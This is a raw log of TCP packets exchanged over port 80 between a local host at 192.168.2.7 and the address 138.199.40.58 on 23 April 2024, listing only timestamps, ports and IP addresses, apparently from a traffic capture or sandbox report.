Apr 23, 2024 08:39:58.975266933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975270033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975281000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975294113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975400925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975410938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975451946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975455046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975500107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975512981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975518942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975524902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975537062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975548029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975569963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975583076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975589037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975589037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975599051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975616932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975630999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975646019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975650072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975682020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975682020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975698948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975712061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975744009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975755930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975789070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975800991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975825071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975838900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975838900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975848913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975873947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975894928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975908041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975914955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.975919008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.975956917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976027012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976244926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976329088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976387978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976387978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976432085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976473093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976485968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976499081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976526022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976538897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976552010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976557016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976582050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976582050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976615906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976632118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976774931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976788044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976795912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976818085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976836920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976836920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976922035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976944923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.976954937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976969004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.976975918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977013111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977013111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977025986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977468967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977518082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977530956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977540016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977575064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977575064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977596045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977632046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977751970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977771997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977828026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977849007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977859020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977879047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977900028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977912903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.977920055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.977931976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.978029966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011477947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011502028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011518955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011558056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011615992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011686087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011715889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011738062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011750937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011773109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011775970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011796951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011820078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011832952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011890888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011904955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.011918068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011943102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.011965036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.012356043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.012370110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.012387037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.012408972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.012418985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.012433052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.012434959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.012459993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.012481928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.012701988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013037920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013052940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013102055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013102055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013448000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013478041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013503075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013520956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013540030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013544083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013555050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013560057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013567924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013575077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013580084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013595104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013628006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013644934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013689041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013844013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013859987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013871908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013895035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013905048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013917923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013923883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013931036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013942003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.013942957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013956070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.013973951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014014006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014028072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014034986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014064074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014086008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014101028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014110088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014112949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014132023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014157057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014178038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014230967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014534950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014581919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.014604092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.014750957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.016782999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.016874075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.016890049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.016920090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.017858982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.018003941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.018039942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.018062115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.018070936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.018094063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.018263102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.018286943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.019087076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.019110918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.019196987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.021307945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021435976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021459103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.021501064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021517038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021524906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.021528959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021548986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.021590948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021610975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.021822929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021845102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.021898031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.021919966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022006989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022030115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022182941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022203922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022238016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022257090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022384882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022406101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022427082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022440910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022447109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022459030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022480965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022480965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022536039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022557974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022579908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022592068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022600889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022624969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022630930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022630930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022638083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022649050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022697926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022697926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.022707939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022718906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022731066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022744894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022799969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022811890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.022819042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023091078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023113012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023147106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023166895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023315907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023328066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023338079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023340940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023360014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023364067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023384094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023427963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023453951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023473978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023493052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023528099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023562908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023576021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023616076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023634911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023657084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023669958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023678064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023772001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023792028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023870945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023891926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.023926020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.023947954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024302959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024324894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024337053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024355888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024521112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024544001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024801970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024818897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024822950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024847031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024863958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024863958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024956942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.024977922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.024997950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025021076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025070906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025091887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025100946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025120974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025168896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025190115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025310040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025319099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025409937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025424004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025429964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025464058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025464058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025464058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025531054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025567055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025585890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025608063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025626898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025626898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025650978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025667906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025685072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025698900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025705099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025722980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025737047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025737047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025747061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025767088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025803089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025805950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025816917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025887966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.025890112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025902987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.025937080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.026017904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.026036978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.026192904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.026206017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.026212931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.026256084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.026256084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032249928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032263994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032277107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032290936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032299995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032314062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032347918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032368898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032372952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032386065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032402992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032409906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032417059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.032438040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.032479048 CEST	49705	80	192.168.2.7	138.199.40.58
